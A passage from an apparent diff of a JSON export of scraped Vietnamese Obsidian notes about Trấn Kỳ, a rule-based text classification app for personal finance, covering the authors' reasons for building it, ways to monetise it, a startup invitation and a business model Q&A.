thống no-code không thể đáp ứng được nhu cầu đó\r\n- Họ cần phải làm nhiều việc khác hơn là dành thời gian để xây dựng hệ thống \r\n\r\nBạn có thể đăng thông tin về các giải pháp đó để thu hút họ đến với bạn. Việc tham gia vào [[Các buổi hướng dẫn tích hợp Trấn Kỳ vào hệ thống quản lý]] cũng sẽ giúp bạn có thông tin ai là người đang cần giải pháp cũng như hướng dẫn để làm điều đó cho họ.\r\n\r\n## Cách 3: dạy và tư vấn cho người muốn học kiến thức, kỹ năng xây dựng hệ thống quản lý và xử lý dữ liệu\r\nVới mã nguồn và kiến thức lập trình bạn có được từ [[Các buổi hướng dẫn tích hợp Trấn Kỳ vào hệ thống quản lý]] nói riêng và [[Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc]] nói chung, bạn có thể trở thành người hướng dẫn cho những người đến sau. Bạn sẽ được nhận những gì mà họ đóng góp. Nếu bạn chỉ cần tiền thì khi nào có tiền từ các hoạt động này bọn mình sẽ chuyển cho bạn.\r\n\r\n## Cách 4: tham gia các startup làm app thu chi cá nhân\r\nBọn mình đã lọt được vào sự chú ý của [J.D.Everest](https://www.jdeverest.com/), một công ty tư vấn chiến lược cho các công ty quản lý tài sản gia đình (family office) và quỹ đầu tư tư nhân (private equity investment) ở Việt Nam. Theo [LinkedIn của người sáng lập](https://www.linkedin.com/in/swimano/) thì anh này trước khi sáng lập J.D.Everest thì từng là:\r\n- Thạc sĩ hệ thống thông tin,\r\n- Giám đốc điều hành số của [Early Risers Media Group](https://tuoitre.vn/early-risers-ke-hoach-dua-phim-viet-ra-the-gioi-20220424113728409.htm \"Early Risers và kế hoạch đưa phim Việt ra thế giới - Tuổi Trẻ Online\"), quản lý cho phim *Để Mai Tính*, *Long Ruồi*\r\n - [Người sáng lập công ty này](https://tuoitre.vn/vy-vincent-ngo---nguoi-tram-lang-271245.htm) viết kịch bản cho phim *Hancook* và sửa chữa kịch bản cho *Dòng máu anh hùng* và *Lửa Phật*\r\n- Đồng sáng lập *Quỹ Đầu tư Khởi nghiệp Quốc gia (Vietnam Startup Investment Fund – VNSIF)*\r\n\r\nBạn có thể xem [[J.D. Everest|các ghi chép của bọn mình khi ngồi nói chuyện với họ]].\r\n\r\nBên này nói rằng nếu làm app thu chi cá nhân và đánh thị trường Hàn Quốc trước thì khả năng ăn là 70%, vì bọn này mới thắng crypto. Tuy nhiên, một chị khác cũng từng làm fintech cho Hàn Quốc cho rằng fintech HQ đã phát triển trước mình 10 năm rồi, bây giờ tham gia vào thì không dễ ăn.\r\n\r\nNếu bạn muốn tham gia hoặc hợp tác với các startup đã mua code của Trấn Kỳ, bọn mình sẽ giới thiệu cho bạn.\r\n\r\n%%\r\nem mới coi cái clip YouTube về cái này, trông có vẻ không phải là lừa đảo gì https://www.youtube.com/watch?v=Zd9vH8OZAO0\r\n\r\nchưa kể ở các công ty thực ra việc có sản phẩm tốt nhất không phải là tiêu chí duy nhất, mà còn nhiều yếu tố khác ảnh hưởng như chiến lược công ty, mối quan hệ, sự hiểu biết của sếp, v.v. Vẫn có những sản phẩm tệ mà bán thành công, và có những sản phẩm tốt thì không bán được gì cả. Cũng có những công ty tệ vẫn tồn tại được trên thị trường. Người thực sự muốn có công cụ tốt hơn chỉ là người làm trực tiếp chứ không phải là chủ. Chủ có muốn đáp ứng nhu cầu đó của nhân viên không thì là chuyện khác \r\n\r\n\r\nThe idea that the components of the tech or the process couldn’t fundamentally change one week or month later is an insane concept. Documentation for all tech today is literally a living document on confluence or similar platforms, not a PDF published 6 years ago.\r\n\r\nmuốn tự động hóa thì phải có quy trình chứ a, người nào tự động thì người đó phải có kiến thức, phải đứng ra chịu trách nhiệm. Trong khi công việc này chưa chắc là thực hiện dài ngày, lặp đi lặp lại, nên là thuê người nhập tay một vài lần so về chi phí cũng chả khác biệt với mua 1 cái quy trình.\r\n\r\n\r\nCông ty chuyên môn (y tế, luật, tài chính, v.v.) \r\nCác tổ chức phi lợi nhuận\r\nCông ty thuê ngoài chuyên về nhập liệu\r\nCác công ty chuyên về xử lý dữ liệu\r\nCác lập trình viên tự do\r\n\r\n\r\nI wrote a rule-based text classification web app specialized in my language (Vietnamese). I wrote this to help my friend and want to learn programing. This is how it works: first you input a prompt, which is just a bunch of keywords, e.g. `fish 50k`, then it will automatically label/annotate/classify the prompt like this:\r\n\r\n- Object: `fish`\r\n- Type of Object: `food`\r\n- Place of transaction: `market`\r\n- Type of place of transaction: `offline`\r\n- Consumer: `myself`\r\n- Type of consumer: `myself`\r\n- Price: `50000 VND`\r\n\r\nThe app can make this classification based on a config you declare, e.g.:\r\n\r\n```\r\n- Dimension name: Object \r\n Classification: \r\n - Food: fish, meat \r\n - Appliance: computer, speaker \r\n Default value: meat \r\n...\r\n```\r\n\r\nIt will generate the result as a table so you can copy-paste it to your system, e.g. Excel.\r\n\r\n(You can find similar products in this thread: [Where have you seen rule-based text classification being applied? : LanguageTechnology](https://www.reddit.com/r/overemployed/comments/yv9job/do_any_developers_take_data_entry_positions_and/). You can also think that it's like ChatGPT, but it's cheaper, faster, more privacy and accurate in the kind of problem it solves.)\r\n\r\nNow, how can I make money from this? I don't have much money to open a company now, and I want to avoid to have debt. In my research th", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-27T07:15:00.000Z", + "Ngày cập nhật": "2024-07-28T09:43:00.000Z", "id": "5T" }, { - "Tiêu đề": "Nhập được trên điện thoại", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/3 Tính năng/Cách nhập liệu/Nhập được trên điện thoại", + "Tiêu đề": "Lý do viết Trấn Kỳ", + "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/9 Blog/Lý do viết Trấn Kỳ", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { + "Tên dự án": "Trấn Kỳ", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Đáp ứng yêu cầu:: \r\nĐồng thời có thêm tính năng:: [[Nhập liệu bằng giọng nói]]\r\nLoại chương trình:: [[Chương trình ghi chép thu chi cá nhân]]\r\n\r\nĐáp ứng cho nhu cầu hoặc tính năng:\r\n```dataview\r\nlist\r\nfrom \"📜Tài nguyên/Chương trình quản lý tiền\" \r\nwhere contains(file.outlinks,[[]])\r\nwhere file.name != \"Chương trình quản lý tiền\" \r\n```\r\n", + "Mô tả bài đăng": "Tại sao các phần mềm nocode hay ChatGPT vẫn không đủ để thay thế lập trình trong việc quản trị?", + "Toàn bộ nội dung": "%%\n#file/thành-phẩm/bài-viết \n# Tại sao không sử dụng cơ sở dữ liệu (Excel, SQL) \nBan đầu, nó vốn là vì khi viết bài này thì sẽ có nhiều liên kết ở trong vault này, còn viết hướng dẫn sử dụng thì lại có nhiều liên kết ở vault kia,\nViệc để các bài viết rải ra ở các website khác nhau cũng là vì mỗi bài sẽ có nhiều nội dung liên quan trực tiếp tới website đó. Hiện tại bọn mình chưa có thời gian để đảm bảo liên kết trỏ đúng\n\nNhưng bởi vì buộc phải chấp nhận lý do đó, bọn mình bắt đầu khám phá ra được lý do sâu hơn\n\nTrấn Kỳ là một sản phẩm. [[Sản phẩm là vật thể]]. [[Sản phẩm là sự bồi tụ của các dòng hải lưu nhu cầu và kết tinh của kiến thức]]. Để nó được đón nhận, người ta phải nhận được nhiều hơn những thứ nó có thể cho đi. Nhìn nó bằng nhiều lăng kính khác nhau.\nĐỉnh cao là mỗi người đều thấy khác nhau\nĐể mọi người đều cùng có thể nhìn thấy nó, để nó có thể chạm đến bất cứ đâu, trước hết cần phân rã nó, làm cho nó hoà tan\nThả bạn vào một nơi bất kỳ trên thành phố. Như bạn thấy, nơi này còn nhiều chỗ chưa được xây dựng, giống như một thành phố còn nhiều bãi đất hoang\n%%\n\n## Tại sao lại viết chương trình này?\nĐây là nhu cầu của Kendy, và bọn mình giúp được gì thì giúp. Gần như tất cả những phần dưới đều để giải thích kỹ hơn nhu cầu này. Bạn có thể xem thêm bài [[Từ việc hỗ trợ Kendy đến Patreon và tâm lý của con người về tiền]]. \n\nNhưng sau đó, nó còn phục vụ một mong muốn khác của bọn mình là nâng cao năng lực thông thạo máy tính (computer literacy) cho mọi người. Sẽ có rất nhiều người đến với chương trình này không phải là lập trình viên, nhưng họ sẽ phải cần phải tự biết cách chỉnh sửa. Họ biết rằng việc biết lập trình là quan trọng, họ đã luôn có ý định để học nó, nhưng mãi mà họ vẫn không thể biến nó trở thành ưu tiên cao nhất.\n\nTrong cái thời đại của 4.0 này, [[Lập trình là một cái gì đó thâm nhập vào đời sống của chúng ta, nhưng lại gần như vô hình]]. Thật là một nghịch lý khi một mặt [[Lập trình viên biết lập trình chủ yếu là nhờ biết google]], nhưng mặt khác [[Người không học về lập trình thấy việc lập trình như làm phép thuật]]. Tại sao các ngành khác không có được sự vị trí đó, khi mà điều kiện để một người có thể thông thạo trong ngành lập trình là cũng đủ để họ có thể thông thạo những ngành khác? Khi một người cảm thấy mình mù công nghệ, và chấp nhận rằng mình sẽ chẳng hiểu gì về công nghệ cả, thì họ đang có một sự bất lực học được.\n\nBằng việc [[Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc|đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu cá nhân hoặc nghiên cứu]], bọn mình hy vọng rằng bạn thấy rằng việc lập trình không chỉ là code sao cho máy chạy đúng ý mình mà còn là [[Lập trình thực ra là dùng ẩn dụ|cách ta dự phần vào việc hiểu và kiến trúc lên thế giới này]]. Bọn mình hy vọng rằng việc bạn thấy mình tự tin hơn về lập trình cũng sẽ góp phần giúp Kendy.\n\n## Nếu cần phân loại thu chi thì tại sao không sử dụng các phần mềm quản lý tài chính cá nhân?\nCác phần mềm quản lý tài chính cá nhân như Misa hay Money Lover có giao diện thân thiện hơn chương trình này nhiều. Momo hay ZaloPay còn có chức năng thu chi cho nhóm.\n\nVấn đề là chúng đều yêu cầu bạn **phải phân loại ngay lúc nhập dữ liệu**, trong khi điều này lấy thời gian của bạn. Lúc bạn đi chợ mua đồ mà lại bắt bạn phân loại từng cái thì không biết tới bao giờ. Vào lúc nhập liệu bạn chỉ muốn viết ra thật nhanh, và não bạn nghĩ ra từ nào thì phải cho bạn viết đúng từ đó.\n\nNgoài ra, **dữ liệu được lưu trong những phần mềm đó bị cô lập**. Sẽ có những người cần tạo lập nhiều cơ sở dữ liệu để quản lý, và cần dữ liệu ở tất cả các nguồn được đổ về một nơi. [[Việc lưu dữ liệu ở các công cụ khác nhau tạo thành các đảo thông tin]].\n\nĐiều này cũng có nghĩa là, nếu bạn không thấy mình có những vấn đề này thì bạn không cần phải dùng chương trình này.\n\n## Liệu các phần mềm hoạch định tài nguyên doanh nghiệp (ERP) có giải quyết được vấn đề đảo thông tin này không?\nCác phần mềm hoạch định tài nguyên doanh nghiệp ([enterprise resource planning](https://en.wikipedia.org/wiki/Enterprise_resource_planning \"Enterprise resource planning - Wikipedia\"), ERP) sẽ có những mô đun chuyên về quản lý tài chính. Tuy nhiên, với Kendy điều đó là không đủ. Đây là những yêu cầu cho một phần mềm quản trị mà Kendy cần. Thiếu một trong 3 đều không được:\n- [ ] Có khả năng tuỳ chỉnh theo đúng luồng làm việc, suy nghĩ của mình\n- [ ] Không phải dành quá nhiều thời gian để xây dựng hệ thống đó\n- [ ] Chi phí thấp\n\n### Các ERP được dựng sẵn không đủ khả năng đáp ứng những luồng làm việc và suy nghĩ đặc thù\n![[Dùng ERP dựng sẵn.png]]\n\nCó hai loại công việc: [[Công việc khai phá và công việc khai thác]]. Công việc khai phá (exploration) là những công việc mà nếu ta chưa làm xong thì cũng không chắc lắm kết quả trông như thế nào, còn công việc khai thác (exploitation) là những công việc chưa làm cũng biết chính xác kết quả trông như thế nào. Công việc khai phá sử dụng dạng tư duy phi tuyến, và hợp với kiểu dữ liệu phi cấu trúc. Còn công việc khai thác sử dụng dạng tư duy tuyến tính, và hợp với kiểu dữ liệu có cấu trúc.\n\nBởi vì [[Công việc khai phá chính là quản lý kiến thức]], cho nên [[Quản lý công việc và quản lý kiến thức không thể tách rời nhau]]. Đây là thứ mà các ERP dựng sẵn này không đáp ứng được. Những người viết ra chúng tất nhiên cũng đã có những nghiên cứu khách hàng và cũng thiết kế nhiều lựa chọn để người dùng có thể tuỳ chỉnh ở một mức độ nào đó. Nếu không đáp ứng được nhu cầu đa số thì không thể nào giảm được chi phí sản phẩm cả. Tuy nhiên, sự dự đoán của các tác giả ấy về quy trình nghiệp vụ của một số khách hàng doanh nghiệp điển hình mà họ có thể nghĩ ra được cũng không thể nào bắt kịp được luồng làm việc và suy nghĩ thực tế của các cá nhân cụ thể. Mỗi người có một cách phân loại thông tin, yêu cầu về sự ngăn nắp thông tin, khối lượng thông tin và loại thông tin phải thường xuyên xử lý cũng khác nhau. Mỗi một luồng tư duy khác nhau có thể sẽ đòi hỏi những cách quản lý thông tin rất khác nhau. Và với một số người, cái mô đun quản lý kiến thức của chúng không gì chỉ làm cho có. Thà không dùng nó chứ dùng thì càng bực hơn. Các ERP này không đáp ứng nổi vai trò trở thành một [[Giàn giáo nhận thức cần phải tuỳ biến với quá trình hiểu biết của người dùng|một giàn giáo nhận thức]] của họ. \n\nHơn nữa, ngay cả khi chỉ xét đến mô đun về quản lý giao dịch của các ERP dựng sẵn, thì cũng giống như các phần mềm quản lý tài chính cá nhân được nói ở trên, dữ liệu được lưu trong đây vẫn bị cô lập trong ERP đó. \n\nChưa kể, cái gọi là chi phí thấp ở đây chỉ là miễn phí trong một số ngày, một số tính năng hoặc đầu người. Nhưng thường thì có trả tiền để dùng thì những tính năng đó cũng không hướng đến việc trở thành một nơi để quản lý tất cả mọi thứ.\n\n### Tự xây dựng ERP tốn rất nhiều thời gian\n![[Tự xây dựng ERP.png]]\nCó các phần mềm ERP mã nguồn mở như Odoo, và bạn có thể tự mình bổ sung thêm các tính năng để đảm bảo là nó sẽ theo đúng luồng làm việc, suy nghĩ của bạn, nhưng điều đó đòi hỏi bạn phải có kiến thức cũng như thời gian để lập trình. Điều này sẽ rất khó với người chưa từng lập trình bao giờ mà còn rất nhiều thứ khác phải làm. Nếu không ai code giùm cho thì Kendy thà chịu đau khổ chứ không thể nào tự học được, bởi vì [[Chi phí chuyển đổi giữa lập trình và nghiên cứu là lớn]]. Chưa kể, theo định luật Hofstadter: [[Mọi thứ sẽ luôn tốn thời gian hơn bạn nghĩ|Mọi thứ sẽ luôn tốn thời gian hơn bạn nghĩ, kể cả khi bạn đã tính đến định luật Hofstadter]].\n\nCũng không phải là Kendy không muốn học để tự xây dựng hệ thống cho mình, mà là kiếm lòi mắt cũng không thấy được người thực sự muốn chia sẻ. Theo trải nghiệm của Kendy khi hỏi trên các diễn đàn của Odoo, thì người trả lời thực ra chỉ muốn báo giá chứ không thực sự muốn chỉ. Vì dù là mã nguồn mở thì họ cũng xác định tập khách hàng của mình là doanh nghiệp.\n\n### Chi phí thuê lập trình viên để tự xây dựng ERP là quá cao\n![[Thuê lập trình viên.png]]\nNếu thuê lập trình viên thì thực sự không có tiền để thuê, và nếu có tiền thì cũng rất lệ thuộc vào họ. Việc xây dựng hệ thống là việc sửa mỗi lần một chút. Kendy không có đủ tiền cho quá nhiều lần điều chỉnh lắt nhắt như vậy.\n\n## Hiện nay đã có nhiều phần mềm ERP low code. Liệu có giải quyết được vấn đề này?\nKhái niệm low code được sinh ra dành cho những phần mềm không phải code nhiều nhưng người dùng vẫn có thể tạo ra được sản phẩm của mình. Airtable, Google Sheet, Excel là những ví dụ của low code.\n\nFibery cũng là một sản phẩm low code. Nó *hứa hẹn* giải quyết được 2 vấn đề sau:\n- Một nơi vừa để quản lý công việc vừa quản lý kiến thức\n- Có thể xây dựng hệ thống quản lý cho mình ngay mà không cần dùng tới code trong thời gian đầu\n\nĐây là lý do Kendy đã chọn Fibery, vì những cái rất cần trước mắt thì nó có thể đáp ứng. \n\nĐối với những người làm lập trình, cái gọi là low code chỉ là bình mới rượu cũ mà thôi. Nó từng có những cái tên như WYSIWYG, UI, rồi giờ thì nó được gọi là low code. Nó không được lòng người làm kỹ thuật cho lắm.\n\n[Một người bình luận](https://discord.com/channels/686053708261228577/700466324840775831/1072284305893638214):\n> Chúng được sinh ra chỉ để cho mục đích tiếp thị và khiến những người quản lý không có hiểu biết về kỹ thuật ra những quyết định tồi. \n\n[Một người khác](https://softwareengineering.stackexchange.com/questions/320227/what-is-low-code/320228#comment679977_320228):\n> Theo kinh nghiệm của tôi, những công cụ này được mấy người dùng doanh nghiệp dùng cho đến khi họ tự dồn mình vào chân tường. Rồi sau đó lập trình viên được gọi đến để gỡ một mớ rác lỗi hỗn độn khổng lồ đầy những phức tạp không cần thiết.\n\nThật ra, việc đánh đổi giữa sự đơn giản (simplicity) và khả năng xử lý những yêu cầu phức tạp (complexity) là một trong [[Những đánh đổi phổ biến trong việc phát triển phần mềm]]. Nhưng thứ [[Lập trình viên khó chịu với hệ thống low code vì nó được tiếp thị như là một giải pháp hoàn hảo có thể giải quyết được mọi nhu cầu thực tế|Lập trình viên khó chịu với hệ thống low code không phải vì nó ưu tiên", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", - "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-27T07:15:00.000Z", + "Ngày tạo": "2023-09-12T09:39:00.000Z", + "Ngày cập nhật": "2024-08-20T16:59:00.000Z", "id": "5U" }, { - "Tiêu đề": "Tự động lấy thông tin giao dịch ngay lúc quẹt mã", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/3 Tính năng/Cách nhập liệu/Tự động lấy thông tin giao dịch ngay lúc quẹt mã", + "Tiêu đề": "Lời mời xây dựng một startup để làm những việc một người bạn sẽ làm", + "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/9 Blog/Lời mời xây dựng một startup để làm những việc một người bạn sẽ làm", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { + "Tên dự án": "Trấn Kỳ", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Yêu cầu đầu vào:: \r\nĐồng thời có thêm tính năng:: [[Nhập được trên điện thoại]]\r\nLoại chương trình:: \r\n\r\nĐáp ứng cho nhu cầu hoặc tính năng:\r\n```dataview\r\nlist\r\nfrom \"📜Tài nguyên/Chương trình quản lý tiền\" \r\nwhere contains(file.outlinks,[[]])\r\nwhere file.name != \"Chương trình quản lý tiền\" \r\n```\r\n", + "Toàn bộ nội dung": "Chào mọi người,\r\n\r\nTrong thời gian qua bọn mình đã viết [Trấn Kỳ](https://lậptrình.quảcầu.cc/%F0%9F%91%8Ftr%E1%BA%A5n%20k%E1%BB%B3/?utm_source=CW+Obsidian%2C+qu%E1%BA%A3n+l%C3%BD+d%E1%BB%B1+%C3%A1n+v%C3%A0+c%C3%B4ng+c%E1%BB%A5+ngh%C4%A9+%C2%BB+L%E1%BB%9Di+m%E1%BB%9Di+tham+gia+startup+c%E1%BB%A7a+c%E1%BB%99ng+%C4%91%E1%BB%93ng&utm_medium=vault&utm_campaign=Tr%E1%BA%A5n+K%E1%BB%B3&utm_content=ph%E1%BA%A7n+m%E1%BB%9F+%C4%91%E1%BA%A7u), một chương trình phân loại câu nhập bằng tiếng Việt tự nhiên, với mục đích là để [[Lý do viết Trấn Kỳ|giúp Kendy]]. Chương trình đã viết xong. Bọn mình nhận thấy nó còn nhiều tiềm năng để phát triển nó, và việc phát triển đó có thể giải quyết nhiều nhu cầu khác nhau, không chỉ là Kendy, nên bọn mình muốn biến nó thành một startup và viết lời mời này.\r\n\r\nĐây là một startup vì nó phải có tăng trưởng và doanh thu, và các hoạt động của nó sẽ để làm những việc mà một người bạn sẽ làm. Trước mắt mục tiêu của nó là để hỗ trợ Kendy. Sau khi Kendy hết khó khăn rồi thì tuỳ vào quyết định của những người ở lại đến lúc đó.\r\n\r\n# Tôi có thể giúp gì?\r\nĐây là các công việc luôn cần người tham gia:\r\n\r\n- [[📐 Dự án/Trấn Kỳ/4 Thành phẩm/Chiến lược/Kế hoạch phát triển Trấn Kỳ|Lên kế hoạch phát triển]]{ .md-button .md-button--primary }\r\n- [[Truyền thông]]{ .md-button .md-button--primary }\r\n- [[Tổ chức nhỏ hoặc người cần kỷ luật tài chính]]{ .md-button .md-button--primary }\r\n- [[Kế hoạch xây dựng cộng đồng phát triển Trấn Kỳ|Xây dựng cộng đồng phát triển Trấn Kỳ]]{ .md-button .md-button--primary }\r\n- [[Kế hoạch tổ chức các buổi hướng dẫn sử dụng Trấn Kỳ|Tổ chức các buổi hướng dẫn người dùng sử dụng Trấn Kỳ]]{ .md-button .md-button--primary }\r\n# Tôi có lợi gì khi tham gia?\r\nNhận làm bất cứ công việc nào bạn sẽ được nhận link tải Trấn Kỳ.\r\n\r\nNgoài ra, tuỳ thuộc vào việc bạn là ai mà bạn sẽ nhận được những lợi ích khác nhau. Xem chi tiết ở bài này: [[Giả thiết về giá trị của Trấn Kỳ]]{ .md-button .md-button--primary }\r\n\r\n```mermaid\r\ngantt\r\ndateFormat D/M\r\naxisFormat %d/%m\r\ntitle Lịch sử phát triển Trấn Kỳ\r\n\r\nsection Làm MVP\r\nPhân loại trên Fibery : crit, 5/7, 13/8\r\nLấy dữ liệu từ Google Keep: 23/8\r\nDocker, open graph: 23/8, 13/10\r\n\r\nsection Xây dựng sản phẩm\r\nViết hướng dẫn sử dụng: 4/9, 10/10\r\nSửa web: 28/10\r\nLên kế hoạch: 11/11\r\nPhỏng vấn (5 buổi): 11/11, 23/11\r\nGặp đối tác (4 buổi): 18/11, 24/11\r\n```\r\n\r\n# Cách thức tham gia\r\nBạn có thể bắt đầu bằng việc điền [khảo sát nhu cầu phân loại tự động và lập trình](https://quảcầu.cc/khao-sat-nhu-cau-phan-loai-tu-dong-va-lap-trinh/?utm_source=CW+%C2%BB+Obsidian%2C+qu%E1%BA%A3n+l%C3%BD+d%E1%BB%B1+%C3%A1n+v%C3%A0+c%C3%B4ng+c%E1%BB%A5+ngh%C4%A9+%C2%BB+L%E1%BB%9Di+m%E1%BB%9Di+x%C3%A2y+d%E1%BB%B1ng+m%E1%BB%99t+startup+%C4%91%E1%BB%83+l%C3%A0m+nh%E1%BB%AFng+vi%E1%BB%87c+m%E1%BB%99t+ng%C6%B0%E1%BB%9Di+b%E1%BA%A1n+s%E1%BA%BD+l%C3%A0m&utm_medium=vault&utm_campaign=Tr%E1%BA%A5n+K%E1%BB%B3) này để bọn mình hiểu hơn về bạn.\r\n\r\nMời bạn vào Discord của Quả Cầu để thảo luận với mọi người\r\n[Tham gia](https://discord.com/channels/898550123007709204/1163106307495170108/1171076032342806548){ .md-button .md-button--primary }\r\n\r\n# Mô hình hoạt động\r\nNgười cần Trấn Kỳ là những người bị dày vò hằng ngày khi tất cả những giải pháp họ biết tới đều yêu cầu họ phải phân loại ngay lúc nhập dữ liệu. Trong số đó, những người có tiềm năng chi tiền nhất có lẽ là:\r\n- Những người có một số vốn kiểu vài chục triệu để đầu tư kinh doanh, \r\n- Những người làm nghiên cứu hoặc làm dự án xã hội mới được cấp quỹ làm dự án\r\n\r\nĐể hỗ trợ người sử dụng Trấn Kỳ cũng như thu hút sự quan tâm của cộng đồng, [[Các buổi đáp ứng nhu cầu học cách sử dụng công cụ và tư duy lập trình cho nhu cầu công việc]] sẽ được tổ chức. Những người cần có các buổi đó (bao gồm cả những người cần có Trấn Kỳ nhưng không có khả năng chi tiền) sẽ tham gia vào việc tổ chức chúng. Việc này đảm bảo rằng các buổi này sẽ diễn ra vào thời gian họ rảnh với nội dung được cá nhân hoá cho họ và ứng dụng được ngay vào dự án của họ. Những người tham gia các buổi này ngoài việc được đáp ứng các nhu cầu trước mắt sẽ có thêm cơ hội mở rộng mối quan hệ, kiến thức, trải nghiệm và các cơ hội khác.\r\n\r\nBài chi tiết: [[Mô hình kinh doanh Trấn Kỳ#Mô hình hoạt động là gì?|Hỏi đáp về việc bán Trấn Kỳ]]{ .md-button .md-button--primary } [[⚡⚡Hiểu biết sâu/Ξ Khái niệm/Kế hoạch|Các bản kế hoạch]]{ .md-button .md-button--primary }\r\n\r\nĐây là những hoạt động mà một người bạn sẽ làm. Startup này chỉ chuyên nghiệp hoá chúng lên để đạt hiệu quả cao nhất mà thôi.\r\n# Số tiền thu được sẽ dùng làm gì?\r\n- Trả lương\r\n- Trả lãi cho nhà đầu tư\r\n- Hỗ trợ Kendy\r\n", "Định dạng nội dung": "md" }, "Phương thức tạo": "Cào vault", "Ngày tạo": "2023-09-05T09:17:00.000Z", - "Ngày cập nhật": "2024-08-27T07:15:00.000Z", + "Ngày cập nhật": "2024-07-28T09:43:00.000Z", "id": "5V" }, { - "Tiêu đề": "Điều khiển dễ dàng bằng bàn phím", - "URL": "https://kiếmtiền.quảcầu.cc/📜Tài nguyên/Chương trình quản lý tiền/3 Tính năng/Cách nhập liệu/Điều khiển dễ dàng bằng bàn phím", + "Tiêu đề": "Mô hình kinh doanh Trấn Kỳ", + "URL": "https://kiếmtiền.quảcầu.cc/📐 Dự án/Trấn Kỳ/Cũ/9 Blog/Mô hình kinh doanh Trấn Kỳ", "Kho thông tin": "Tồn tại trong thế giới tư bản", "Dự án": { + "Tên dự án": "Trấn Kỳ", "Mã dự án": "B2" }, "Nội dung bài đăng": { - "Toàn bộ nội dung": "Đáp ứng yêu cầu:: [[Phải thiết lập cấu hình]]\r\nLoại chương trình:: [[Chương trình kế toán]]\r\n\r\nĐáp ứng cho nhu cầu hoặc tính năng:\r\n```dataview\r\nlist\r\nfrom \"📜Tài nguyên/Chương trình quản lý tiền\" \r\nwhere contains(file.outlinks,[[]])\r\nwhere file.name != \"Chương trình quản lý tiền\" \r\n```\r\n", + "Toàn bộ nội dung": "# Ai sẽ dùng Trấn Kỳ? Ai sẽ không dùng?\r\n[[Lý do viết Trấn Kỳ|Trấn Kỳ viết ra là cho Kendy]], nên chắc chỉ những Kendy khác mới cần. Họ là những người bị dày vò hằng ngày khi tất cả những giải pháp họ biết tới đều yêu cầu họ phải phân loại ngay lúc nhập dữ liệu. Họ đã mường tượng được rằng thứ họ cần vượt quá khả năng đáp ứng của các sản phẩm no-code, và chỉ có con đường lập trình mới giải quyết được. Éo le là họ có đủ chuyện phải lo để việc dành thời gian tự học lập trình là bất khả, và đủ thứ phải chi để việc dành tiền thuê lập trình viên là bất khả.\r\n\r\nNếu bạn là một người như vậy thì có nghĩa là bạn đã bị dồn nén quá lâu rồi. Bọn mình nghĩ việc điền phiếu đăng ký để mô tả nhu cầu của bạn là quá đơn giản; chỉ cần khơi một chút thôi thì chữ nghĩa sẽ tuôn ra như thác đổ. Vì Trấn Kỳ được sinh ra dành cho những người như bạn, nên Trấn Kỳ sẽ là của bạn.\r\n\r\nCòn nếu bạn không thấy mình bị dày vò đến mức đó thì có lẽ bạn là một người dùng tiềm năng, đủ quan tâm để hỏi bọn mình một vài thứ, đủ hứng thú để đọc các bài viết liên quan (như bài này), nhưng chưa đủ để làm tất cả mọi thứ trong khả năng để có Trấn Kỳ. Có thể thỉnh thoảng bạn cũng thấy ức chế, khó chịu khi phải phân loại thủ công ngay lúc nhập liệu, nhưng sự khó chịu đó chưa đủ dồn nén để đưa việc nói với bọn mình rằng bạn rất cần đến nó lên ưu tiên hàng đầu. Khi nào tiện hơn thì bạn sẽ làm.\r\n\r\nXem thêm:: [[Điều quan trọng thì thường hiếm khi khẩn cấp, và điều khẩn cấp thì thường hiếm khi quan trọng]]\r\n\r\n# Ai sẽ trả tiền?\r\nVới những doanh nghiệp lớn có đủ tiền để nuôi một đội lập trình riêng thì có khả năng họ đã tự có hệ thống phân loại của riêng họ rồi. Nên có lẽ những người có nhiều tiềm năng chi tiền nhất là những người vừa rất cần việc phân loại tự động những ý nghĩ trong đầu mình để cuối tuần có một báo cáo đáng tin cậy, có một số tiền cũng đủ thoải mái để chi nhưng không đủ tiền để thuê một lập trình viên hoặc đủ thời gian để chờ họ viết. (Bọn mình viết chương trình này trong hơn 2 tháng làm việc toàn thời gian và việc gọi điện thảo luận rất linh động không cần báo trước và có thể rất khuya. [[Viết phần mềm chỉ chiếm khoảng ⅓ thời gian, còn lại là dành cho bảo trì (thêm bớt chức năng, sửa lỗi, v.v.)]]). \r\n\r\nNhững người có tiềm năng chi tiền nhất có lẽ là:\r\n- Những người có một số vốn kiểu vài chục triệu để đầu tư kinh doanh, \r\n- Những người làm nghiên cứu hoặc làm dự án xã hội mới được cấp quỹ làm dự án\r\n\r\nNhưng có lẽ tốt nhất không phải là kiếm người sẵn sàng trả tiền, mà là giúp Kendy càng không phải chi tiền càng tốt. Điều này quay lại ý tưởng mạng kết nối nhu cầu. Xem thêm: [[Từ việc hỗ trợ Kendy đến Patreon và tâm lý của con người về tiền]].\r\n\r\n# Bán vậy thì có còn là phần mềm mã nguồn mở hay tự do nữa không? \r\nCó, vì khái niệm mã nguồn mở hay tự do đều chỉ nói về quyền tái phân phối (redistribution) của người dùng, chứ vẫn cho phép tác giả tạo rào cản tiếp cận. Xem chi tiết: [Is it open source for allowing people who have access to the source act as if it's open source?](https://opensource.stackexchange.com/q/14357/6810)\r\n\r\n# Vậy mua về xong rồi chia sẻ cho mọi người thì có được không?\r\nTất nhiên là được. Bọn mình còn khuyến khích bạn làm vậy, vì các bạn sẽ có thêm động cơ để mua chung. \r\n\r\n# Người khác ăn cắp ý tưởng thì sao? \r\nNhững app quản lý tài chính như MoneyLover hay Misa chắc chắn 